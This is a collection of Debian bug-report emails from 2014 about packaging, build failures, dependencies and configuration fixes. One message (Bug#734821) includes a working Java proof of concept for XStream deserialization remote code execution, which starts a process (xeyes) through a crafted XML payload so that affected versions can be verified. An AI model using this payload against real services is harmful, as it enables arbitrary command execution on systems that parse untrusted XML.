I can reproduce this with current Debian Gnome 3, while in XFCE, Emacs does shift to full screen. Pedro Ângelo pang...@void.io writes: Package: emacs24 Version: 24.3+1-2 Severity: normal Dear Maintainer, On my .emacs I use the following command to set the emacs window to fullscreen on startup: (set-frame-parameter nil 'fullscreen 'fullboth) Does this line have any impact at all or is it ignored completely? What happens when you write (set-frame-parameter nil 'fullscreen 'maximized) instead? Does anything change when you add (setq frame-resize-pixelwise t) to your .emacs? martin -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#755757: transition: wxpython3.0
On Fri, Oct 10, 2014 at 09:52:27AM +0200, Emilio Pozuelo Monfort wrote: On 07/10/14 23:43, Olly Betts wrote: The result of these is that the tracker no longer presents useful information - most of the listed packages are actually fixed already, but several packages needing attention aren't listed. AFAICS out of the 7 packages that are still marked as bad, there is only one false positive: gnumed-client. I think gnuradio was also being shown erroneously (it has an alternative with 3.0 first). I also thought quisk was when I sent the updated ben file, but I since looked closely and spotted that the BD had been updated, but the run-time dependency was still on python-wxgtk2.8 - I filed a bug and the maintainer promptly fixed that. The list now matches the bugs filed but still open, aside from wxwidgets2.8 (bogus but understandably picked up by the tracker) and pyhoca-gui which the tracker misses because it oddly depends on python-wxtools and wx-common, but not python-wxgtk* - I think that's wrong as it does import wx, and will suggest the dependencies should include python-wxgtk3.0 in the pending upload. So actually things are looking a little better than I thought, which is nice. I have updated the tracker with your proposed new one and it shows the same packages except for gnumed-client, which is now marked as good (note however that it has wx2.8 as the first alternative so you may want to file a bug about that). Oh yes, I'll file one. Cheers, Olly -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764381: (no subject)
Following up after upstream issue [1], I slightly changed my opinion and committed [2]. I think the best solution is now just remove ssdeep support, since it will be removed anyway in the next release. (on mentors you will already find the updated version) [1] https://github.com/devttys0/binwalk/issues/79 [2] http://anonscm.debian.org/cgit/collab-maint/binwalk.git/commit/?id=c5a0dc01e3d9dadce77531e280b206f5741da319 cheers, Gianfranco -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764686: mk-build-deps: --remove not working anymore
Package: devscripts Version: 2.14.7 Severity: normal File: /usr/bin/mk-build-deps -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Hi! When running the following command: mk-build-deps -s sudo -i -r debian/control the package is not removed after installation of its dependencies. It worked with previous versions. Maybe this is because of the fix of #757481? - -- Package-specific info: - --- /etc/devscripts.conf --- - --- ~/.devscripts --- Not present - -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (500, 'unstable'), (101, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.17-rc5-amd64 (SMP w/4 CPU cores) Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages devscripts depends on: ii dpkg-dev 1.17.16 ii libc62.19-11 ii perl 5.20.1-1 ii python3 3.4.2-1 pn python3:any none Versions of packages devscripts recommends: pn at none ii curl7.38.0-2 ii dctrl-tools 2.23 ii debian-keyring 2014.08.31 ii dput-ng [dput] 1.8 ii equivs 2.0.9 ii fakeroot1.20.2-1 ii file1:5.19-2 ii gnupg 1.4.18-4 ii libdistro-info-perl 0.13 ii libencode-locale-perl 1.03-1 ii libjson-perl2.61-1 ii liblwp-protocol-https-perl 6.06-2 ii libparse-debcontrol-perl2.005-4 ii libsoap-lite-perl 1.11-1 ii liburi-perl 1.64-1 ii libwww-perl 6.08-1 ii lintian 2.5.28 ii man-db 2.7.0.2-1 ii patch 2.7.1-6 ii patchutils 0.3.3-1 ii python3-debian 0.1.24 ii python3-magic 1:5.19-2 ii sensible-utils 0.0.9 ii strace 4.9-2 ii unzip 6.0-12 ii wdiff 1.2.2-1 ii wget1.15-1+b1 ii xz-utils5.1.1alpha+20120614-2 Versions of packages devscripts suggests: ii bsd-mailx [mailx]8.1.2-0.20140825cvs-1 ii build-essential 11.7 pn cvs-buildpackage none pn devscripts-elnone pn gnuplot none ii gpgv 1.4.18-4 ii libauthen-sasl-perl 2.1600-1 ii libfile-desktopentry-perl0.07-1 ii libnet-smtp-ssl-perl 1.01-3 pn libterm-size-perlnone ii libtimedate-perl 2.3000-2 pn libyaml-syck-perlnone ii mutt 1.5.23-1.1 ii openssh-client [ssh-client] 1:6.7p1-1 pn svn-buildpackage none ii w3m 0.5.3-17 - -- no debconf information -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBCAAGBQJUN6F9AAoJEJWkL+g1NSX5U48P/2x826j26TsNgSqqqZznVUWi bSP65PdS2ShM8OOOroNRxFbv2csKxHD+82844yURnhVvlIIs2ejq8aDiE/AzaspG JAGRWPu5DyNQtClQDwsHIuj3qmwM/qxjiS5bf5eMidxCHT/eJ49HJ0En8URyMjdH HmvoVjdpyWPQ2y21XNz7HDOriAMjQIgJFgMmh4qWHY/xbApCB83+KRZLxL653Ryw t9VtMtwCqaEtdTyEJrEc2FFWK4k/akLljFcQvR9fyQFLrNGmzEeYHIpKeh+rcKaj 5QAyYjvaC7zYypK8zXpfE/IFnkQhZ/ezVJ15myK9WYrMZL/SS+OhrJy5mOFM6FFE SslCVgz7VPxo3yHBiToNtdWixl+xgzAnDlJNkZVNetKy2RM6A5ueQ2PUgxEKCWN5 8PdrDSHlFYLSawQZyHMFXOXXJE/dtSfMC3OxwOEnm3h2eC9E8ATIbDLM6AZ7rP9b gGuL02aF5LY/Sa1Bxuf7isF+VcKsxTW+ZBhcWN3mFRixT1ELcAWmfD5TvLtS+0ZF 9bxuR239w/dT+1G6XJwlLyg7I/UrWCslSyZXADYEgBiKtUt3xDihY6PuRA+8SE7A OvpJTzM1i6kHiJjOQ2Pf9muYwmOv/CBdEdeyhNyYnTpYGeNfYX+DYDqcyO/t/qtZ RlDT5804CUDrzcFGTe5z =4fe4 -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764687: bino: FTBS on amrhf and armel
Package: bino Version: 1.6.0-1 Severity: important Hello Daniel bino does not build on armhf and armel: http://buildd.debian.org/status/logs.php?arch=armelpkg=binover=1.6.0-1 http://buildd.debian.org/status/logs.php?arch=armhfpkg=binover=1.6.0-1 Due to this FTBS, bino was removed from testing. Can you have a look ? All the best -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (990, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.16-1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages bino depends on: ii libass5 0.10.2-3 ii libavcodec56 10:2.4.1-dmo1 ii libavdevice55 10:2.3.3-dmo3 ii libavformat56 10:2.4.1-dmo1 ii libavutil54 10:2.4.1-dmo1 ii libc6 2.19-11 ii libgcc1 1:4.9.1-16 ii libgl1-mesa-glx [libgl1] 10.2.6-1 ii libglewmx1.10 1.10.0-3 ii liblircclient00.9.0~pre1-1.1 ii libopenal11:1.15.1-5 ii libqt5core5a 5.3.2+dfsg-3 ii libqt5gui55.3.2+dfsg-3 ii libqt5opengl5 5.3.2+dfsg-3 ii libqt5widgets55.3.2+dfsg-3 ii libstdc++64.9.1-16 ii libswscale3 10:2.4.1-dmo1 bino recommends no packages. bino suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#576184: ITP: jidanni -- a natural intelligence to find many bugs
reopen 576184 owner 576184 ba...@debian.org stop Hi pabs, I see you gave up on this ITP on 31 Aug 2012. Do you mind that I take over this ITP ? It's a promising piece of software we should definately consider packaging in Debian. There is however still quite some work on this software, and unfortunately my attempts to contact upstream on making the software conform to Debian standards haven't been very successful so far. My preliminary tests were quite disappointing. At times the software more behaves like a random number generator, even a very pseudo one. For example it mixes experimental and unstable, which makes this software definately rc-buggy for now. So a first upload would certainly go in experimental, not in unstable. Thanks for your extensive analysis of the software on this ITP, which is a good jump-start for me to make myself familiar with this software. I see that you've already spent quite some effort on this software, so your expertise may be useful for getting the software ready for Debian, and maintaining it afterwards, so here's my question : are you interested in co-maintaining this package ? No hard feelings if the answer is no, because I fully understand that there are limits to a person's time and interest. Regards, Bart Martens -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764688: goocanvas: Bring goocanvas 2.x to Debian sid
Source: goocanvas Severity: wishlist I would like to have goocanvas 2.x in Debian sid, I need it for ocrfeeder 0.8. At the moment there are packages of Goocanvas 2.0.2 in experimental, they have been there for a while and I tested them with ocrfeeder. I think they can be moved to sid without changes, however since there are many other packages that depend on the older versions of goocanvas, both versions must be kept, so a different source package name should be used for the new version. What's the opinion of the maintainers about this? Berto -- System Information: Debian Release: jessie/sid APT prefers testing APT policy: (500, 'testing') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.16-2-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#734821: 734821
notfixed 734821 1.4.7-1
thanks
This bug was actually never in Debian, since it was introduced in 1.4.5
and closed in 1.4.7.
If anyone is interested in verifying this, the following code can be run
against the JARs present at
http://repo.maven.apache.org/maven2/com/thoughtworks/xstream/xstream/:
import java.io.IOException;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
/* Thanks to /pwntester for the PoC
*
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
*/
public class XStreamExploit {
public static void main(String[] args) throws IOException {
String process = /usr/bin/xeyes;
String payload = sorted-set +
stringfoo/string +
dynamic-proxy +
interfacejava.lang.Comparable/interface +
handler class=\java.beans.EventHandler\ +
target class=\java.lang.ProcessBuilder\ +
command +
string + process + /string +
/command +
/target +
actionstart/action +
/handler +
/dynamic-proxy +
/sorted-set;
XStream xstream = new XStream(new DomDriver());
xstream.fromXML(payload);
}
}
Cheers,
--Seb
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#759079: [pkg-x2go-devel] Bug#759079: Bug#759079: pyhoca-gui: patch for wxPython 3.0
Hi Mike, On Tue, Sep 30, 2014 at 01:11:42PM +, Mike Gabriel wrote: I fixed the issue upstream [1]. Thanks for your input on this. I will release pyhoca-gui 0.5.0.0 upstream ASAP. I noticed the dependencies of pyhoca-gui on wx are rather odd - it depends on python-wxtools and wx-common, but not python-wxgtk2.8 or python-wxgtk3.0. Since the code does import wx, I think it really ought to explicitly depend on python-wxgtk3.0 (at least once it's updated for 3.0). If that's done, then the dependency on python-wxtools appears to be unnecessary (I can't find any uses of any of the tools actually in that package in pyhoca-gui), and depending directly on wx-common is unlikely to be necessary (again, pyhoca-gui doesn't seem to use anything from that package). So in summary, my suggestion would be that the only wx-related dependency should be on python-wxgtk3.0. Cheers, Olly -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#707760: zsh: Alternatives broken for long time during upgrade from zsh4 to zsh5
Frank Terbeck wrote: [...] #!/bin/zsh -f if [[ -o interactive ]]; then [...] This wasn't the smartest idea ever. Since this is a script, it's obviously not interactive invocation, which means that the test always fails. Oh well. I guess we can just warn upon every invocation interactive or not. Regards, Frank -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764550: ooniprobe: ooniresources fails with ImportError: No module named processors
Control: tags -1 + fixed-upstream Matt Kraai: As described in the ooniprobe README, I ran sudo ooniresources --update-inputs --update-geoip which failed with the following error message: Traceback (most recent call last): File /usr/bin/ooniresources, line 11, in module from ooni.resources import cli File /usr/lib/python2.7/dist-packages/ooni/resources/__init__.py, line 4, in module from ooni.deckgen.processors import citizenlab_test_lists ImportError: No module named processors I expected ooniresources to run successfully. Upstream has pushed a fix: https://gitweb.torproject.org/ooni-probe.git/commit/1f918109b8d7458a629f59dc8e2e0ef5797e0792 I'll make a new package as soon as the new release is out. -- Lunar.''`. lu...@debian.org: :Ⓐ : # apt-get install anarchism `. `'` `- signature.asc Description: Digital signature
Bug#755667: django-openid-auth: diff for NMU version 0.5-2.1
Control: tags 755667 + patch
Control: tags 755667 + pending
Dear maintainer,
I've prepared an NMU for django-openid-auth (versioned as 0.5-2.1) and
expect to upload it to unstable today.
Regards.
diff -Nru django-openid-auth-0.5/debian/changelog django-openid-auth-0.5/debian/changelog
--- django-openid-auth-0.5/debian/changelog 2014-02-22 18:00:53.0 +
+++ django-openid-auth-0.5/debian/changelog 2014-10-10 09:39:16.0 +0100
@@ -1,3 +1,10 @@
+django-openid-auth (0.5-2.1) UNRELEASED; urgency=medium
+
+ * Non-maintainer upload.
+ * Update for Django 1.7 support (Closes: #755667)
+
+ -- Neil Williams codeh...@debian.org Fri, 10 Oct 2014 09:38:59 +0100
+
django-openid-auth (0.5-2) unstable; urgency=medium
* debian/patches/django1.6compat.patch: Fix compatibility
diff -Nru django-openid-auth-0.5/debian/patches/django1.7compat.patch django-openid-auth-0.5/debian/patches/django1.7compat.patch
--- django-openid-auth-0.5/debian/patches/django1.7compat.patch 1970-01-01 01:00:00.0 +0100
+++ django-openid-auth-0.5/debian/patches/django1.7compat.patch 2014-10-10 10:28:39.0 +0100
@@ -0,0 +1,32 @@
+Description: Adapt for change in admin login behaviour
+ OPENID_USE_AS_ADMIN_LOGIN no longer fails to an openid login
+ page with django1.7, despite openid working normally. Adapt the
+ test cases to suit.
+Author: Neil Williams codeh...@debian.org
+Bug-Debian: https://bugs.debian.org/755667
+
+---
+
+--- django-openid-auth-0.5.orig/django_openid_auth/tests/test_admin.py
django-openid-auth-0.5/django_openid_auth/tests/test_admin.py
+@@ -70,8 +70,9 @@ class SiteAdminTests(TestCase):
+ create_user()
+ self.client.login(username='testing', password='test')
+ response = self.client.get('/admin/')
+-self.assertTrue('User testing does not have admin access.' in
+-response.content, 'Missing error message in response')
++self.assertEqual(302, response.status_code)
++self.assertEqual('http://testserver/admin/login/?next=/admin/',
++ response['Location'])
+
+ def test_admin_site_with_openid_login_non_authenticated_user(self):
+
+@@ -80,7 +81,7 @@ class SiteAdminTests(TestCase):
+
+ response = self.client.get('/admin/')
+ self.assertEqual(302, response.status_code)
+-self.assertEqual('http://testserver/openid/login/?next=/admin/',
++self.assertEqual('http://testserver/admin/login/?next=/admin/',
+ response['Location'])
+
+
diff -Nru django-openid-auth-0.5/debian/patches/series django-openid-auth-0.5/debian/patches/series
--- django-openid-auth-0.5/debian/patches/series 2014-02-22 17:09:40.0 +
+++ django-openid-auth-0.5/debian/patches/series 2014-10-10 10:27:04.0 +0100
@@ -1,2 +1,3 @@
django1.5compat.patch
django1.6compat.patch
+django1.7compat.patch
Bug#764689: subversion: Include /usr/bin/fsfs-*
Package: subversion Version: 1.8.10-2 Severity: wishlist Dear Maintainer, Please include the new 1.8 /usr/bin/fsfs-* programs. I'm primarily interested in fsfs-stats as it's referenced from http://subversion.apache.org/docs/release-notes/1.8.html#fsfs-stats This could be achieved by adding to debian/subversion.install: debian/tmp/usr/bin/fsfs* usr/bin Thank you, Dan -- System Information: Debian Release: jessie/sid APT prefers testing APT policy: (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages subversion depends on: ii libapr11.5.1-3 ii libaprutil11.5.3-3 ii libc6 2.19-11 ii libldap-2.4-2 2.4.39-1.1+b1 ii libsasl2-2 2.1.26.dfsg1-11 ii libsvn11.8.10-2 subversion recommends no packages. Versions of packages subversion suggests: pn db5.3-utilnone pn patch none ii subversion-tools 1.8.10-2 -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764690: RM: kissplice [armel armhf i386 kfreebsd-i386 mips mipsel powerpc s390x sparc] -- ROM; New version of kissplice is restricted to 64bit architectures
Package: ftp.debian.org Severity: normal Hi, since the latest version of kisslice only builds on 64 bit architectures it needs to be removed for other architectures to migrate to testing. Kind regards and thanks for your work as ftpmaster Andreas. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#752872: libapr1: file locking is broken, leading to file corruption in e.g. libapache2-mod-auth-cas session files
Hi, Stefan: Thanks for your time investigating this bug. Op Sat, Aug 16, 2014 at 09:55:11PM +0200 schreef Stefan Fritsch: On Friday 27 June 2014 11:37:18, Joost van Baal-Ilić wrote: While libapr1 defaults to fcntl() locking it also supports flock(), which does not have the problems outlined above. A patch is attached which makes libapr1 use flock() even if fcntl() locking is available. flock does not support locking on NFS (at least according to its man page), while fcntl does. I am undecided which is worse. Since there does not seem to be a good solution, I am downgrading the severity of this bug. The default behavior for Linux NFS clients is to convert flock() calls into fcntl(). See nfs(5), in particular the local_lock option (the default for that option is ‘none’). To summarize: - fcntl() locking is broken for everyone (even if you're using a non-threaded mpm you will still run into problems if you open the locked file twice); - flock() is broken only for people using NFS (rare) AND a non-Linux kernel (very rare, in Debian at least). Therefore the proposed solution is good, imho. Leaving severity to your judgement, nevertheless. Bye, Joost signature.asc Description: Digital signature
Bug#764692: usbmuxd: FTBFS on kfreebsd-*
Package: src:usbmuxd Version: 1.0.8+git20140527.e72f2f7-1 Severity: serious Justification: FTBFS (but built successfully in the past) Hi, usbmuxd fails to build on kfreebsd-amd64 and kfreebsd-i386 with the message: make[3]: Entering directory '/«BUILDDIR»/usbmuxd-1.0.8+git20140527.e72f2f7/src' CC usbmuxd-client.o CC usbmuxd-device.o device.c: In function 'send_anon_rst': device.c:264:4: error: 'struct tcphdr' has no member named 'th_sport' th.th_sport = htons(sport); ^ device.c:265:4: error: 'struct tcphdr' has no member named 'th_dport' th.th_dport = htons(dport); ^ device.c:266:4: error: 'struct tcphdr' has no member named 'th_ack' th.th_ack = htonl(ack); ^ device.c:267:4: error: 'struct tcphdr' has no member named 'th_flags' th.th_flags = TH_RST; ^ (and so on, until make abandons ship.) -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 directhex i have six years of solaris sysadmin experience, from 8-10. i am well qualified to say it is made from bonghits layered on top of bonghits -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764691: gnumed-client: Please depend on python-wxgtk3.0 first (or exclusively)
Source: gnumed-client Version: 1.4.11+dfsg-1 Severity: normal User: freewx-ma...@lists.alioth.debian.org Usertags: wxpy3.0 In #755757, pochu noted that gnumed-client lists python-wxgtk2.8 as the first alternative in its dependencies and suggested I file a bug: Depends: python:any, python-wxgtk2.8 | python-wxgtk3.0, [...] We're on course for completing the wxwidgets3.0 transition for jessie, so depending only on python-wxgtk3.0 is probably sensible, but if you want to keep the alternative, making it python-wxgtk3.0|python-wxgtk2.8 would be preferable. Cheers, Olly -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764693: modem-manager-gui: crash on start
Package: modem-manager-gui Version: 0.0.16-3 Severity: important Dear Maintainer, Whenever I run the program I get the following: ~$ modem-manager-gui ** (modem-manager-gui:13100): WARNING **: Error retrieving accessibility bus address: org.freedesktop.DBus.Error.ServiceUnknown: The name org.a11y.Bus was not provided by any .service files Module applicable: pppd = 2.4.5 (modcm_pppd245.so) Module applicable: Modem Manager = 0.7.0 (modmm_mm07.so) Modem manager: Modem Manager = 0.7.0 Connection manager: pppd = 2.4.5 Device: Sierra Wireless, Incorporated, MC7700, SWI9200X_01.00.03.01AP R2748 CARMD-EN-10526 2011/07/25 19:31:25 [2] [f15e814006d889d3e2edf32196a5a8ac] ** (modem-manager-gui:13100): WARNING **: Modem Manager = 0.7.0: GDBus.Error:org.freedesktop.ModemManager1.Error.Core.Unauthorized: PolicyKit authorization failed: challenge needed for 'org.freedesktop.ModemManager1.Device.Control' ** (modem-manager-gui:13100): WARNING **: Modem Manager = 0.7.0: GDBus.Error:org.freedesktop.DBus.Error.AccessDenied: Rejected send message, 2 matched rules; type=method_call, sender=:1.107 (uid=1000 pid=13100 comm=modem-manager-gui ) interface=org.freedesktop.ModemManager1.Modem.Contacts member=GetCount error name=(unset) requested_reply=0 destination=:1.4 (uid=0 pid=2687 comm=/usr/sbin/ModemManager ) Device successfully opened Selected device ID: 2 Segmentation fault at address: (nil) Stack trace: 1. /lib/x86_64-linux-gnu/libglib-2.0.so.0(g_str_hash+0) [0x7f85c97b3650] 2. /lib/x86_64-linux-gnu/libglib-2.0.so.0(g_str_hash+0) [0x7f85c97b3650] 3. /lib/x86_64-linux-gnu/libglib-2.0.so.0(g_hash_table_lookup+0x28) [0x7f85c97b2b98] 4. modem-manager-gui() [0x4246d6] 5. /lib/x86_64-linux-gnu/libglib-2.0.so.0(g_main_context_dispatch+0x15d) [0x7f85c97c3b6d] 6. /lib/x86_64-linux-gnu/libglib-2.0.so.0(+0x49f48) [0x7f85c97c3f48] 7. /lib/x86_64-linux-gnu/libglib-2.0.so.0(g_main_context_iteration+0x2c) [0x7f85c97c3ffc] 8. /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0(g_application_run+0x1ec) [0x7f85c9d811bc] 9. modem-manager-gui(main+0x26b) [0x40be3b] -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.16-2-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages modem-manager-gui depends on: ii libc6 2.19-11 ii libcairo2 1.12.16-5 ii libgdbm31.8.3-13 ii libgdk-pixbuf2.0-0 2.31.1-2 ii libglib2.0-02.42.0-2 ii libgtk-3-0 3.14.1-1 ii modemmanager1.4.0-1 ii multiarch-support 2.19-11 ii network-manager 0.9.10.0-3 modem-manager-gui recommends no packages. Versions of packages modem-manager-gui suggests: pn evolution-data-server none ii libcanberra0 0.30-2.1 pn libindicate5 | libmessaging-menu0 none ii libnotify4 0.7.6-2 -- debconf-show failed -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764694: release.debian.org: please whitelist lava-server and django-openid-auth from testing auto-removal
Package: release.debian.org Severity: normal The RC bug chain affecting lava-server has now been fixed but the current autoremoval from testing is scheduled for 2014-10-17 which is earlier than the fixes will migrate into testing. Please can lava-server and django-openid-auth be whitelisted from the testing auto-removals so that libmatheval, django-openid-auth and lava-server can all migrate their relevant RC bug fixes into testing without interrupting the installability of lava-server itself in testing. libmatheval has been scheduled for 2014-11-09 so does not need to be whitelisted. This will also prevent the autoremoval of uwsgi. Alternatively, a rescheduling of the auto-removal of lava-server and django-openid-auth to a date after the expected migration into testing would work too. Thanks. -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 armhf Kernel: Linux 3.16-1-amd64 (SMP w/4 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_GB.UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#751636: openssh-server: ssh sessions are not cleanly termined on shutdown/restart with systemd
Hi, I had the same issue under Debian Wheezy with systemd 204-14~bpo70+1 As systemd is in constant development and Jessie is currently running version 215-5+b1 it maybe resolved in more recent versions than 204-14. The solution provided under https://bugzilla.redhat.com/show_bug.cgi?id=626477 suggests to killall ssh sessions, when stopping sshd. I prefer to have at least one ssh session open to my server when restarting ssh, if something goes wrong. Therefore I added a service, to solve this under the current Debian Wheezy version I am running. /etc/systemd/system/ssh-user-sessions.service: [Unit] Description=Shutdown all ssh sessions before network After=network.target [Service] TimeoutStartSec=0 Type=oneshot RemainAfterExit=yes ExecStart=/bin/true ExecStop=/usr/bin/killall sshd When starting, this service does simply nothing (/bin/true). But due to the statement After=network.target it kills all ssh processes before shutting down the network. Works for me :-) Cheers Tom
Bug#761267: tzdata must be updated till 26 October
Accepting tzdata 2014h-0wheezy1 solves issue only for wheezy, however the problem is still relevant for squeeze.
Bug#716841: character escaping of templates (bug 716841)
Hi all,
The logic to dbconfig-generate-include in the dbconfig-common source is
slightly flawed [1] in the sense that it escapes all variable depending
on the language in case the dbconfig-common templates are used, but
forgets to do this language specific when a package template is used. As
I don't think there is a watertight check possible to determine what
language the variables should be escaped for (and e.g. in case of php/sh
it also depends on how the strings are quoted (' vs )) I propose to
extend the format from template to template | phptemplate |
shtemplate | perltemplate | cpptemplate and use the right escape
algorithm depending on the selected format. I propose to keep template
as-is but let it generate a warning.
Objections? Other ideas or solutions?
Paul
[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=716841
signature.asc
Description: OpenPGP digital signature
Bug#720517: file ownership and perms managed by dbconfig-common (bug 720517)
Hi dbconfig-common-devel followers, You may have noticed that I have been discussing behavior of dbconfig-common on debian-devel [1] related to bug 720517 [2]. I want to solve the bug, but I am unsure on how to handle the situation. So lets discuss the issue: dbconfig-common can receive the request from a package to set ownership/perms for a configuration file it manages (via dbc_generate_include_owner and dbc_generate_include_perms). The problem is that dbconfig-common does not know if this request from the package to set ownership and perms is the result of default package behavior, or after consulting the admin about what they want. Now comes the problem: dbconfig-common should set these ownership/perms when the admin has asked for it, but should respect current ownership/perms if the requested ownership/perms are just a default from the package (as per Policy). Any ideas how to solve this? Investigate all packages to check for their behavior (does any package query the admin about this?)? If no package is actively setting this, I believe we can change the behavior of dbconfig-common to only change the ownership/perms on creation, but ignore it during update. Of course documentation needs to be updated to reflect this if we go that way. If at least one package queries the admin, I don't see a generic solution except for agreeing on desired behavior and filing bugs against the packages that don't match that behavior. The relevant scripts in the dbconfig-common source are: dpkg/common dbconfig-generate-include Paul [1] https://lists.debian.org/debian-devel/2014/10/msg00084.html [2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=720517 signature.asc Description: OpenPGP digital signature
Bug#754988: Bug#763360 closed by Ondřej Surý ond...@sury.org
On Fri, Oct 10, 2014, at 01:13, Julien Cristau wrote: On Fri, Oct 10, 2014 at 00:46:42 +0200, Bill Allombert wrote: On Tue, Oct 07, 2014 at 10:31:45AM +0200, Ondřej Surý wrote: On Mon, Oct 6, 2014, at 21:14, Bill Allombert wrote: Version: 1:1.3.1-4 My understanding is that this bug can be now closed as the libjpeg-progs are not built from src:libjpeg-progs and libjpeg62* binary package names has been accepted now. Excellent news! When do you plan to upload a version libjpeg-turbo that does not hijack libjpeg62 anymore ? JFTR I will list the consequences of any renaming that would happen: 1. libjpeg-turbo62 (as an example) would still contain shared library libjpeg.so.62, thus it needs to Conflicts/Provides: libjpeg62, same applies for the libjpeg62-dev package vs libjpeg-turbo62-dev (Conflicts/Provides: libjpeg62-dev) You are painting a bleaker picture than what is really required. Since the package are fully compatible, the conflict is easily avoided by moving some files a bit and then using the alternative system. They're not fully compatible, as libjpeg-turbo's libjpeg.so.62 provides additional entry points. Bill, I am going to draw a line here. The alternatives thing is not going to happen. Not in libjpeg-turbo-progs and definitely not in libjpeg-turbo. Release and security team has already expressed that freely interchangeable libs[1] are not really desired, since it makes the security and debugging much harder than it needs to be. You have made your point that you don't agree with the tech-ctte decision in words after the decision was made and in actions by making just everybody involveds' lives harder, and it needs to stop right now. I will do the one last thing - do the unnecessary and senseless transition to rename libjpeg62 to libjpeg-turbo62 and that's where I stop listening to your demands that push harder and harder. 1. for an example just look in pkg-mysql-maint archives Cheers, -- Ondřej Surý ond...@sury.org Knot DNS (https://www.knot-dns.cz/) – a high-performance DNS server -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764472: cups creates millions of temporary files when printing
